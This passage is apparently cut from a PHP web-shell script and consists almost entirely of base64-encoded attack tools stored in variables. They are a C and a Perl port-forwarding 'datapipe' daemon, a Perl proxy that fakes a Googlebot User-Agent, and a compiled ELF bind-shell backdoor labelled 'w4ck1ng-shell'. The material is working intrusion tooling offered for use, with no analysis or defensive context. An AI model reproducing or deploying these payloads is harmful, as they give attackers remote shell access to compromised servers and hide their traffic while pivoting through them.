3293W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
3294LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
3295udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
32960KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
3297iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
3298KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
3299gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
3300hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
3301iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
3302ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
3303vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
3304AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
3305QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
3306ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
3307gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
3308wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
330929jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
3310MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
3311gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
33125zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
3313HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
3314dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
3315KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
3316ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
3317E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
3318Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
3319NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
3320J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
3321CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
3322dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
3323gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
3324lsZSk7DQogIHJldHVybiAwOw0KfQ==";
3325$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
3326CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
3327bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
3328gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
3329NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
3330iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
3331aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
3332SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
3333xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
3334WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
3335CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
3336yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
3337I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
3338m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
3339IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
3340lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
3341QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
3342CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
3343c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
3344NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
3345UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
3346DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
3347ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
33481ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
3349$prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn
3350luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT
33510NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE
3352UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09
3353DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS
3354AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd
3355GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk
3356cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1
3357BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi
3358AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK
3359TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg
3360eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA
3361oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG
3362VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI
3363CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt
3364b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN
33650ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG
33669wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ
3367CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g
3368aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw
3369gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG
33709yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0=";
3371$port_bind_bd_cs="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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